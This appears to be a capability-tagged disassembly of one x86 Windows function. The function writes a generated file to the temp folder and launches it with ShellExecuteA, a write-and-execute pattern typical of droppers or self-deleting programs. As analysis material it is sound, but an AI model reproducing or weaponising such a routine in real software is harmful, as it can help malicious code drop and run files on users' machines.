Function at 0x404ae0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x37c
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x110]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x426be4
lea ecx, [ebp - 0x110]
push ecx
call fcn.00404df0
add esp, 8
push 0x104
lea edx, [ebp - 0x220]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x220]
push eax
push 0x104
lea ecx, [ebp - 0x330]
push ecx
call fcn.00411733
add esp, 0xc
push 0x5c
lea edx, [ebp - 0x330]
push edx
call fcn.00404e10
add esp, 8
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
je 0x404b85
mov eax, dword [ebp - 0x224]
mov byte [eax], 0
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x404daf
mov dword [ebp - 0x340], 0x4294c0
mov edx, dword [ebp - 0x340]
add edx, 1
mov dword [ebp - 0x344], edx
mov eax, dword [ebp - 0x340]
mov cl, byte [eax]
mov byte [ebp - 0x345], cl
add dword [ebp - 0x340], 1
cmp byte [ebp - 0x345], 0
jne 0x404bca
mov edx, dword [ebp - 0x340]
sub edx, dword [ebp - 0x344]
mov dword [ebp - 0x34c], edx
lea eax, [ebp - 0x220]
mov dword [ebp - 0x350], eax
mov ecx, dword [ebp - 0x350]
add ecx, 1
mov dword [ebp - 0x354], ecx
mov edx, dword [ebp - 0x350]
mov al, byte [edx]
mov byte [ebp - 0x355], al
add dword [ebp - 0x350], 1
cmp byte [ebp - 0x355], 0
jne 0x404c15
mov ecx, dword [ebp - 0x350]
sub ecx, dword [ebp - 0x354]
mov dword [ebp - 0x35c], ecx
lea edx, [ebp - 0x110]
mov dword [ebp - 0x360], edx
mov eax, dword [ebp - 0x360]
add eax, 1
mov dword [ebp - 0x364], eax
mov ecx, dword [ebp - 0x360]
mov dl, byte [ecx]
mov byte [ebp - 0x365], dl
add dword [ebp - 0x360], 1
cmp byte [ebp - 0x365], 0
jne 0x404c60
mov eax, dword [ebp - 0x360]
sub eax, dword [ebp - 0x364]
mov dword [ebp - 0x36c], eax
mov ecx, dword [ebp - 0x35c]
imul ecx, ecx, 3
add ecx, dword [ebp - 0x34c]
mov edx, dword [ebp - 0x36c]
lea eax, [ecx + edx + 0x32]
mov dword [ebp - 0x334], eax
mov ecx, dword [ebp - 0x334]
push ecx
call fcn.0041130e
add esp, 4
mov dword [ebp - 0x338], eax
mov edx, dword [ebp - 0x338]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x334]
push eax
push 0
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.004145d0
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0x4294c0
mov eax, dword [ebp - 0x334]
push eax
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.00411a4d
add esp, 0x1c
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x370], edx
mov eax, dword [ebp - 0x370]
add eax, 1
mov dword [ebp - 0x374], eax
mov ecx, dword [ebp - 0x370]
mov dl, byte [ecx]
mov byte [ebp - 0x375], dl
add dword [ebp - 0x370], 1
cmp byte [ebp - 0x375], 0
jne 0x404d3a
mov eax, dword [ebp - 0x370]
sub eax, dword [ebp - 0x374]
mov dword [ebp - 0x37c], eax
push 0
lea ecx, [ebp - 0x228]
push ecx
mov edx, dword [ebp - 0x37c]
push edx
mov eax, dword [ebp - 0x114]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0x426498
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [ebp - 0x114], 0
je 0x404ddd
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0x33c], ecx
mov edx, dword [ebp - 0x33c]
push edx
call fcn.0041073d
add esp, 4
mov dword [ebp - 0x114], 0
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00410595
mov esp, ebp
pop ebp
ret